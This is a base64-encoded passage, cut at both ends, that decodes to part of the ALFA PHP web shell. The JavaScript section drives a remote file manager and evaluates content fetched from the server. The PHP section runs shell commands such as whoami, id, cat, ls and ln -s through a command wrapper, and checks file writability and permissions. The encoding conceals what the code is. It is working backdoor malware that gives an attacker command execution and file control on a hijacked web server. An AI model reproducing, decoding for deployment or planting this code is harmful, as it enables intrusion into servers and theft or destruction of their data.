ci5jaGVja2VkPSEwLG4uY2hlY2tlZD0hMCk7ZWxzZXt2YXIgcz0wO3IuY2hlY2tlZCYmKHMrPTQpLG8uY2hlY2tlZCYmKHMrPTIpLG4uY2hlY2tlZCYmKHMrPTEpLCJ1Ij09dD9kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXVdIikudmFsdWU9czoiZyI9PXQ/ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT1nXSIpLnZhbHVlPXM6InciPT10JiYoZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT13XSIpLnZhbHVlPXMpfX1mdW5jdGlvbiBnZyhlLHQsYSxpLGwscil7dmFyIG89ImZpbGVzbWFuX2hvbGRlcl8iK2FsZmFfY3VycmVudF9mbV9pZDthbGZhbG9hZGVyKG8sImJsb2NrIiksZGF0YT0iYT0iK2FsZmFiNjQoZSkrIiZjPSIrYWxmYWI2NCh0KSsiJmFsZmExPSIrYWxmYWI2NChhKSsiJmFsZmEyPSIrYWxmYWI2NChpKSsiJmFsZmEzPSIrYWxmYWI2NChsKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIiksX0FqYXgoZC5VUkwsZGF0YSxyLCExLG8pfWZ1bmN0aW9uIGFsZmFQb3BVcERvQWN0aW9uKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJhY3Rpb24iKTtzd2l0Y2godCl7Y2FzZSJyZW5hbWUiOmNhc2UibW92ZSI6Y2FzZSJjb3B5Ijp2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZmlkIikucmVwbGFjZSgiaWRfIiwiIiksaT0kKCJpZF8iK2EpLmdldEF0dHJpYnV0ZSgiZm5hbWUiKSxsPWQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gaW5wdXRbbmFtZT1mbmFtZV0iKS52YWx1ZTtsPWwudHJpbSgpLGk9aS50cmltKCksZ2coImRvQWN0aW9ucyIsY18saSxsLHQsZnVuY3Rpb24oZSxpKXtpZigicmVuYW1lIj09dClpZigiZG9uZSI9PWUpe3ZhciByPSQoImlkXyIrYSk7dXBkYXRlRmlsZUVkaXRvcihhLGwpO3ZhciBvPXIuZ2V0QXR0cmlidXRlKCJwYXRoIikrJCgiaWRfIithKS5nZXRBdHRyaWJ1dGUoImZuYW1lIik7ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiAub2xkLXBhdGgtY29udGVudCIpLmlubmVySFRNTD1vLHIuYWRkRXZlbnRMaXN0ZW5lcigiYW5pbWF0aW9uZW5kIixmdW5jdGlvbigpe3IuY2xhc3NMaXN0LnJlbW92ZSgidGV4dEVmZmVjdCIpfSksci5jbGFzc0xpc3QuYWRkKCJ0ZXh0RWZmZWN0IiksYWxmYVNob3dOb3RpZmljYXRpb24oIlJlbmFtZWQuLi4iLCJSZW5hbWUgQWN0aW9uIiksZC5xdWVyeVNlbGVjdG9yKCIuY2wtcG9wdXAtZml4ZWQiKS5zdHlsZS5kaXNwbGF5PSJub25lIn1lbHNlIGFsZmFTaG93Tm90aWZpY2F0aW9uKCJlcnJvci4uLiEiLCJSZW5hbWUgQWN0aW9uIiwiZXJyb3IiKTthbGZhbG9hZGVyKGksIm5vbmUiKX0pO2JyZWFrO2Nhc2UicGVybWlzc2lvbiI6dmFyIHI9ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT11XSIpLnZhbHVlLG89ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT1nXSIpLnZhbHVlLG49ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT13XSIpLnZhbHVlO2k9KGk9ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiAub2xkLXBhdGgtY29udGVudCIpLmlubmVySFRNTCkudHJpbSgpO3ZhciBzPXIudHJpbSgpK28udHJpbSgpK24udHJpbSgpO2dnKCJkb0FjdGlvbnMiLGNfLGkscyx0LGZ1bmN0aW9uKGUsdCl7YWxmYWxvYWRlcih0LCJub25lIiksYWxmYVNob3dOb3RpZmljYXRpb24oZSwiUGVybWlzc2lvbiBBY3Rpb24iKSxkLnF1ZXJ5U2VsZWN0b3IoIi5jbC1wb3B1cC1maXhlZCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifSk7YnJlYWs7Y2FzZSJtb2RpZnkiOmE9ZS5nZXRBdHRyaWJ1dGUoImZpZCIpLnJlcGxhY2UoImlkXyIsIiIpO3ZhciBjPWQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gaW5wdXRbbmFtZT1mbmFtZV0iKS52YWx1ZSx1PSQoImlkXyIrYSkuZ2V0QXR0cmlidXRlKCJmbmFtZSIpO2dnKCJkb0FjdGlvbnMiLGNfLGMsdSx0LGZ1bmN0aW9uKHQsYSl7aWYoIm9rIj09dCl7dmFyIGk9InRyX3Jvd18iK2UuZ2V0QXR0cmlidXRlKCJmaWQiKS5yZXBsYWNlKCJpZF8iLCIiKTtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAubWFpbl9tb2RpZnkiKS5pbm5lckhUTUw9YyxhbGZhU2hvd05vdGlmaWNhdGlvbigic3VjY2Vzcy4uLiIsIk1vZGlmeSBBY3Rpb24iKSxkLnF1ZXJ5U2VsZWN0b3IoIi5jbC1wb3B1cC1maXhlZCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWVsc2UgYWxmYVNob3dOb3RpZmljYXRpb24odCwiTW9kaWZ5IEFjdGlvbiIsImVycm9yIik7YWxmYWxvYWRlcihhLCJub25lIil9KX19ZnVuY3Rpb24gYWxmYUluaXRTb3JhdGFibGVUYWIoZSl7U29ydGFibGUuY3JlYXRlKGUse2RpcmVjdGlvbjoiaG9yaXpvbnRhbCIsYW5pbWF0aW9uOjMwMCxnaG9zdENsYXNzOiJzb3J0YWJsZS1naG9zdCIsZmlsdGVyOiIubm90LXNvcnRhYmxlIn0pfSQoInNlYXJjaC1pbnB1dCIpLmFkZEV2ZW50TGlzdGVuZXIoImtleWRvd24iLGZ1bmN0aW9uKGUpe3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgZT0kKCJzZWFyY2gtaW5wdXQiKS52YWx1ZTtmb3IodmFyIHQgaW4gZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJoaXN0b3J5LWxpc3QiKVswXS5pbm5lckhUTUw9IiIsZWRpdG9yX2ZpbGVzKWlmKC0xIT1lZGl0b3JfZmlsZXNbdF0uZmlsZS5zZWFyY2goZSl8fCIiPT1lKXt2YXIgYT0wO3Q9PWVkaXRvcl9jdXJyZW50X2ZpbGUmJihhPSIgaXNfYWN0aXZlIiksaW5zZXJ0VG9IaXN0b3J5KHQsZWRpdG9yX2ZpbGVzW3RdLmZpbGUsYSxlZGl0b3JfZmlsZXNbdF0udHlwZSl9fSwxMDApfSwhMSksX0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJjaGVja3VwZGF0ZSIpLGZ1bmN0aW9uKGUpe2lmKDAhPWUubGVuZ3RoJiYiW10iIT1lKXt2YXIgdD1KU09OLnBhcnNlKGUpO2lmKHQuaGFzT3duUHJvcGVydHkoImNvbnRlbnQiKSl7ZC5ib2R5Lmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIix0LmNvbnRlbnQpO3RyeXtldmFsSlModC5jb250ZW50KX1jYXRjaCh0KXt9fWlmKHQuaGFzT3duUHJvcGVydHkoImNvcHlyaWdodCIpJiYoJCgiYWxmYS1jb3B5cmlnaHQiKS5pbm5lckhUTUw9dC5jb3B5cmlnaHQpLHQuaGFzT3duUHJvcGVydHkoInNvbGV2aXNpYmxlIikmJigkKCJhbGZhX3NvbGV2aXNpYmxlIikuaW5uZXJIVE1MPXQuc29sZXZpc2libGUpLHQuaGFzT3duUHJvcGVydHkoImNvZGVfbmFtZSIpJiYoJCgiaGlkZGVuX3NoIikuaW5uZXJIVE1MPXQuY29kZV9uYW1lLnJlcGxhY2UoL1x7dmVyc2lvblx9L2csdC52ZXJzaW9uX251bWJlcikpLHQuaGFzT3duUHJvcGVydHkoIm1hcmtldCIpKXt2YXIgYT1kLnF1ZXJ5U2VsZWN0b3IoInNwYW4uYWxmYV9wbHVzIik7aWYodC5tYXJrZXQuaGFzT3duUHJvcGVydHkoInZpc2libGUiKSYmInllcyI9PXQubWFya2V0LnZpc2libGUmJigkKCJtZW51X29wdF9tYXJrZXQiKS5zdHlsZS5kaXNwbGF5PSJpbmxpbmUiKSwib3BlbiIhPXQubWFya2V0LnN0YXR1cyYmKGEuc3R5bGUuY29sb3I9IiNmZmMxMDciKSx0Lm1hcmtldC5oYXNPd25Qcm9wZXJ0eSgiY29udGVudCIpKXRyeXtldmFsSlModC5tYXJrZXQuY29udGVudCl9Y2F0Y2godCl7fX19fSksPD9waHAgZWNobyAkR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl07ID8+P19BamF4KGQuVVJMLCJhPSIrYWxmYWI2NCgidXBkYXRlaGVhZGVyIiksZnVuY3Rpb24oZSl7dHJ5e3ZhciB0PUpTT04ucGFyc2UoZSk7Zm9yKHZhciBhIGluIHQpe2Zvcih2YXIgaT0iIixsPTA7bDx0W2FdLmxlbmd0aDtsKyspaSs9InVzZWZ1bCI9PWF8fCJkb3dubG9hZGVyIj09YT8nPHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIHN0eWxlPSJtYXJnaW4tbGVmdDogNHB4OyI+Jyt0W2FdW2xdKyI8L3NwYW4+Ijp0W2FdW2xdO3ZhciByPSQoImhlYWRlcl8iK2EpO3ImJihyLmlubmVySFRNTD1pKX0kKCJoZWFkZXJfY2dpc2hlbGwiKS5pbm5lckhUTUw9Ik9OIiwkKCJoZWFkZXJfY2dpc2hlbGwiKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiaGVhZGVyX29uIil9Y2F0Y2goZSl7fX0pOmlzbGludXgmJl9BamF4KGQuVVJMLCJhPSIrYWxmYWI2NCgiY2hlY2tjZ2kiKSxmdW5jdGlvbihlKXsib2siPT1lJiYoJCgiaGVhZGVyX2NnaXNoZWxsIikuaW5uZXJIVE1MPSJPTiIsJCgiaGVhZGVyX2NnaXNoZWxsIikuc2V0QXR0cmlidXRlKCJjbGFzcyIsImhlYWRlcl9vbiIpKX0pLGZ1bmN0aW9uKCl7ZC5vbmNsaWNrPWZ1bmN0aW9uKCl7Y2FuX2hhc2hjaGFuZ2Vfd29yaz0hMSxzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Y2FuX2hhc2hjaGFuZ2Vfd29yaz0hMH0sNjAwKX0sd2luZG93Lm9uaGFzaGNoYW5nZT1mdW5jdGlvbihlKXtjYW5faGFzaGNoYW5nZV93b3JrJiZhbGZhQ2hlY2tVcmxIYXNoKCl9LGFsZmFDaGVja1VybEhhc2goKSxhbGZhZ2V0RmxhZ3MoKSxyaWdodGNsaWNrX21lbnVfY29udGV4dD0kKCJyaWdodGNsaWNrX21lbnUiKS5zdHlsZSxhbGZhSW5pdEN3ZENvbnRleHQoKSxkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsZnVuY3Rpb24oZSl7cmlnaHRjbGlja19tZW51X2NvbnRleHQub3BhY2l0eT0iMCIsc2V0VGltZW91dChmdW5jdGlvbigpe3JpZ2h0Y2xpY2tfbWVudV9jb250ZXh0LnZpc2liaWxpdHk9ImhpZGRlbiJ9LDUwMSl9LCExKTt2YXIgZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTtlLnNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvU29ydGFibGUvMS4xMC4yL1NvcnRhYmxlLm1pbi5qcyIsZS5pZD0ic29ydGFibGUtcGx1Z2luIixlLm9ubG9hZD1mdW5jdGlvbigpe2FsZmFJbml0U29yYXRhYmxlVGFiKCQoImZpbGVzbWFuX3RhYnNfY2hpbGQiKSksYWxmYUluaXRTb3JhdGFibGVUYWIoZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLXRhYnMiKSksYWxmYUluaXRTb3JhdGFibGVUYWIoZC5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc190YWIiKSksYWxmYUluaXRTb3JhdGFibGVUYWIoZC5xdWVyeVNlbGVjdG9yKCIudGVybWluYWwtdGFicyIpKSxhbGZhSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi5zcWwtdGFicyIpKX0sZC5ib2R5LmFwcGVuZENoaWxkKGUpfSgpOwo8L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwCn19CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIChzdHJwb3MoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyksICdwb3NpeF9nZXRwd3VpZCcpPT09ZmFsc2UpKSB7CmZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSkgewpmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkcCkge3JldHVybiBmYWxzZTt9IH0KZnVuY3Rpb24gYWxmYVdoaWNoKCRwKSB7CiRwYXRoID0gYWxmYUV4KCd3aGljaCAnIC4gJHAsZmFsc2UsZmFsc2UpOwppZighZW1wdHkoJHBhdGgpKQpyZXR1cm4gc3RybGVuKCRwYXRoKTsKcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGFsZmFTaXplKCRzKSB7CmlmKCRzID49IDEwNzM3NDE4MjQpCnJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsKZWxzZWlmKCRzID49IDEwNDg1NzYpCnJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA0ODU3NiApIC4gJyBNQic7CmVsc2VpZigkcyA+PSAxMDI0KQpyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOwplbHNlCnJldHVybiAkcyAuICcgQic7Cn0KZnVuY3Rpb24gYWxmYVBlcm1zKCRwKSB7CmlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkaSA9ICdz4oCLJzsKZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICds4oCLJzsKZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICct4oCLJzsKZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdi4oCLJzsKZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdk4oCLJzsKZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdj4oCLJzsKZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaSA9ICdw4oCLJzsKZWxzZSAkaSA9ICd14oCLJzsKJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncuKAiycgOiAnLScpOwokaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd34oCLJyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAnc+KAiycgOiAneOKAiycgKSA6ICgoJHAgJiAweDA4MDApID8gJ1PigIsnIDogJy0nKSk7CiRpIC49ICgoJHAgJiAweDAwMjApID8gJ3LigIsnIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAnd+KAiycgOiAnLScpOwokaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3PigIsnIDogJ3jigIsnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdT4oCLJyA6ICctJykpOwokaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdy4oCLJyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3figIsnIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd04oCLJyA6ICd44oCLJyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVOKAiycgOiAnLScpKTsKcmV0dXJuICRpOwp9CmZ1bmN0aW9uIGFsZmFQZXJtc0NvbG9yKCRmLCRpc2Jhc2g9ZmFsc2UpewokY2xhc3MgPSAiIjsKJG51bSA9ICIiOwokaHVtYW4gPSAiIjsKaWYoJGlzYmFzaCl7CiRjbGFzcyA9ICRmWyJjbGFzcyJdOwokbnVtID0gJGZbIm51bSJdOwokaHVtYW4gPSAkZlsiaHVtYW4iXTsKfWVsc2V7CiRudW0gPSBzdWJzdHIoc3ByaW50ZignJW8nLCBAZmlsZXBlcm1zKCRmKSksLTQpOwokaHVtYW4gPSBhbGZhUGVybXMoQGZpbGVwZXJtcygkZikpOwppZighQGlzX3JlYWRhYmxlKCRmKSkKJGNsYXNzID0gIm1haW5fcmVkX3Blcm0iOwplbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQokY2xhc3MgPSAibWFpbl93aGl0ZV9wZXJtIjsKZWxzZQokY2xhc3MgPSAibWFpbl9ncmVlbl9wZXJtIjsKfQpyZXR1cm4gJzxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSInLiRjbGFzcy4nIj4nLiRudW0uJzwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0iYmVldHdlZW5fcGVybXMiPiA+PiA8L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9IicuJGNsYXNzLiciPicuJGh1bWFuLic8L3NwYW4+JzsKfQppZighZnVuY3Rpb25fZXhpc3RzKCJzY2FuZGlyIikpIHsKZnVuY3Rpb24gc2NhbmRpcigkZGlyKSB7CiRkaCA9IG9wZW5kaXIoJGRpcik7CndoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpCiRmaWxlc1tdID0gJGZpbGVuYW1lOwpyZXR1cm4gJGZpbGVzOwp9Cn0KZnVuY3Rpb24gcmVBcnJheUZpbGVzKCRmaWxlX3Bvc3QpewokZmlsZV9hcnkgPSBhcnJheSgpOwokZmlsZV9jb3VudCA9IGNvdW50KCRmaWxlX3Bvc3RbJ25hbWUnXSk7CiRmaWxlX2tleXMgPSBhcnJheV9rZXlzKCRmaWxlX3Bvc3QpOwpmb3IgKCRpPTA7ICRpPCRmaWxlX2NvdW50OyAkaSsrKSB7CmZvcmVhY2ggKCRmaWxlX2tleXMgYXMgJGtleSkgewokZmlsZV9hcnlbJGldWyRrZXldID0gJGZpbGVfcG9zdFska2V5XVskaV07Cn0KfQpyZXR1cm4gJGZpbGVfYXJ5Owp9CmZ1bmN0aW9uIF9hbGZhX2Nhbl9ydW5Db21tYW5kKCRjZ2k9dHJ1ZSwkY2FjaGU9dHJ1ZSl7CmlmKGlzc2V0KCRfQ09PS0lFWyJhbGZhX2NhbnJ1bmNtZCJdKSYmJGNhY2hlKXsKcmV0dXJuIHRydWU7Cn0KaWYoc3RybGVuKGFsZmFFeCgid2hvYW1pIixmYWxzZSwkY2dpKSk+MCl7CiRfQ09PS0lFWyJhbGZhX2NhbnJ1bmNtZCJdID0gdHJ1ZTsKcmV0dXJuIHRydWU7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIF9hbGZhX3N5bWxpbmsoJHRhcmdldCwgJGxpbmspewokcGhwc3ltID0gZnVuY3Rpb25fZXhpc3RzKCJzeW1saW5rIik7CmlmKCRwaHBzeW0pewpAc3ltbGluaygkdGFyZ2V0LCAkbGluayk7Cn1lbHNlewphbGZhRXgoImxuIC1zICciLmFkZHNsYXNoZXMoJHRhcmdldCkuIicgJyIuYWRkc2xhc2hlcygkbGluaykuIiciKTsKfQp9CmZ1bmN0aW9uIF9hbGZhX2ZpbGVfZXhpc3RzKCRmaWxlLCRjZ2k9dHJ1ZSl7CmlmKEBmaWxlX2V4aXN0cygkZmlsZSkpewpyZXR1cm4gdHJ1ZTsKfWVsc2V7CmlmKHN0cmxlbihhbGZhRXgoImxzIC1sYSAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyIsZmFsc2UsJGNnaSkpPjApewpyZXR1cm4gdHJ1ZTsKfQp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBfYWxmYV9maWxlKCRmaWxlLCRjZ2k9dHJ1ZSl7CiRhcnJheSA9IEBmaWxlKCRmaWxlKTsKaWYoISRhcnJheSl7CmlmKHN0cmxlbihhbGZhRXgoImlkIixmYWxzZSwkY2dpKSk+MCl7CiRkYXRhID0gYWxmYUV4KCdjYXQgIicuYWRkc2xhc2hlcygkZmlsZSkuJyInLGZhbHNlLCRjZ2kpOwppZihzdHJsZW4oJGRhdGEpPjApewpyZXR1cm4gZXhwbG9kZSgiXG4iLCAkZGF0YSk7Cn1lbHNlewpyZXR1cm4gZmFsc2U7Cn0KfWVsc2V7CnJldHVybiBmYWxzZTsKfQp9ZWxzZXsKcmV0dXJuICRhcnJheTsKfQp9CmZ1bmN0aW9uIF9hbGZhX2lzX3dyaXRhYmxlKCRmaWxlKXsKJGNoZWNrID0gZmFsc2U7CiRjaGVjayA9IEBpc193cml0YWJsZSgkZmlsZSk7CmlmKCEkY2hlY2spewppZihfYWxmYV9jYW5fcnVuQ29tbWFuZCgpKXsKJGNoZWNrID0gYWxmYUV4KCdbIC13ICInLnRyaW0oYWRkc2xhc2hlcygkZmlsZSkpLiciIF0gJiYgZWNobyAieWVzIiB8fCBlY2hvICJubyInKTsKaWYoJGNoZWNrID09ICJ5ZXMiKXsKJGNoZWNrID0gdHJ1ZTsKfWVsc2V7CiRjaGVjayA9IGZhbHNlOwp9Cn0KfQpyZXR1cm4gJGNoZWNrOwp9ZnVuY3Rpb24gX2FsZmFfaXNfZGlyKCRkaXIsJG1vZGU9Ii1kIil7CiRjaGVjayA9IGZhbHNlOwokY2hlY2sgPSBAaXNfZGlyKCRkaXIpOwppZigkbW9kZSA9PSAiLWUiKXsKJGNoZWNrID0gQGlzX2ZpbGUoJGRpcik7Cn0KaWYoISRjaGVjayl7CmlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKCkpewokY2hlY2sgPSBhbGZhRXgoJ1sgIicudHJpbSgkbW9kZSkuJyIgIicudHJpbShhZGRzbGFzaGVzKCRkaXIpKS4nIiBdICYmIGVjaG8gInllcyIgfHwgZWNobyAibm8iJyk7CmlmKCRjaGVjayA9PSAieWVzIil7CnJldHVybiB0cnVlOwp9ZWxzZXsKcmV0dXJuIGZhbHNlOwp9Cn0KfQpyZXR1cm4gJGNoZWNrOwp9CmZ1bmN0aW9uIF9hbGZhX2xvYWRfYWNlX29wdGlvbnMoJGJhc2UpewpyZXR1cm4gJzxzcGFuPlRoZW1lOiA8L3NwYW4+PHNlbGVjdCBjbGFzcz0iYWNlLWNvbnRyb2xlciBhY2UtdGhlbWUtc2VsZWN0b3IiIGJhc2U9IicuJGJhc2UuJyIgb25DaGFuZ2U9ImFsZmFBY2VDaGFuZ2VTZXR0aW5nKHRoaXMsXCd0aGVtZVwnKTsiPjxvcHRpb24gdmFsdWU9InRlcm1pbmFsIiBzZWxlY3RlZD50ZXJtaW5hbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImFtYmlhbmNlIj5hbWJpYW5jZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNoYW9zIj5jaGFvczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNocm9tZSI+Y2hyb21lPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY2xvdWRzIj5jbG91ZHM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjbG91ZHNfbWlkbmlnaHQiPmNsb3Vkc19taWRuaWdodDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNvYmFsdCI+Y29iYWx0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY3JpbXNvbl9lZGl0b3IiPmNyaW1zb25fZWRpdG9yPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGF3biI+ZGF3bjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRyYWN1bGEiPmRyYWN1bGE8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJkcmVhbXdlYXZlciI+ZHJlYW13ZWF2ZXI8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJlY2xpcHNlIj5lY2xpcHNlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZ2l0aHViIj5naXRodWI8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJnb2IiPmdvYjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImdydXZib3giPmdydXZib3g8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJpZGxlX2ZpbmdlcnMiPmlkbGVfZmluZ2Vyczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImlwbGFzdGljIj5pcGxhc3RpYzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImthdHplbm1pbGNoIj5rYXR6ZW5taWxjaDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImtyX3RoZW1lIj5rcl90aGVtZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Imt1cm9pciI+a3Vyb2lyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibWVyYml2b3JlIj5tZXJiaXZvcmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtZXJiaXZvcmVfc29mdCI+bWVyYml2b3JlX3NvZnQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtb25vX2luZHVzdHJpYWwiPm1vbm9faW5kdXN0cmlhbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Im1vbm9rYWkiPm1vbm9rYWk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJub3JkX2RhcmsiPm5vcmRfZGFyazwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBhc3RlbF9vbl9kYXJrIj5wYXN0ZWxfb25fZGFyazwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNvbGFyaXplZF9kYXJrIj5zb2xhcml6ZWRfZGFyazwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNvbGFyaXplZF9saWdodCI+c29sYXJpemVkX2xpZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ic3Fsc2VydmVyIj5zcWxzZXJ2ZXI8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0ZXh0bWF0ZSI+dGV4dG1hdGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0b21vcnJvdyI+dG9tb3Jyb3c8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0b21vcnJvd19uaWdodCI+dG9tb3Jyb3dfbmlnaHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0b21vcnJvd19uaWdodF9ibHVlIj50b21vcnJvd19uaWdodF9ibHVlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHRfYnJpZ2h0Ij50b21vcnJvd19uaWdodF9icmlnaHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0b21vcnJvd19uaWdodF9laWdodGllcyI+dG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0d2lsaWdodCI+dHdpbGlnaHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ2aWJyYW50X2luayI+dmlicmFudF9pbms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ4Y29kZSI+eGNvZGU8L29wdGlvbj48L3NlbGVjdD48c3Bhbj5MYW5ndWFnZTogPC9zcGFuPjxzZWxlY3QgY2xhc3M9ImFjZS1jb250cm9sZXIiIGJhc2U9IicuJGJhc2UuJyIgb25DaGFuZ2U9ImFsZmFBY2VDaGFuZ2VTZXR0aW5nKHRoaXMsXCdsYW5nXCcpOyI+PG9wdGlvbiB2YWx1ZT0icGhwIj5waHA8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJweXRob24iPnB5dGhvbjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBlcmwiPnBlcmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjX2NwcCI+Yy9jKys8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjc2hhcnAiPmMjPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icnVieSI+cnVieTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Imh0bWwiPmh0bWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJqYXZhc2NyaXB0Ij5qYX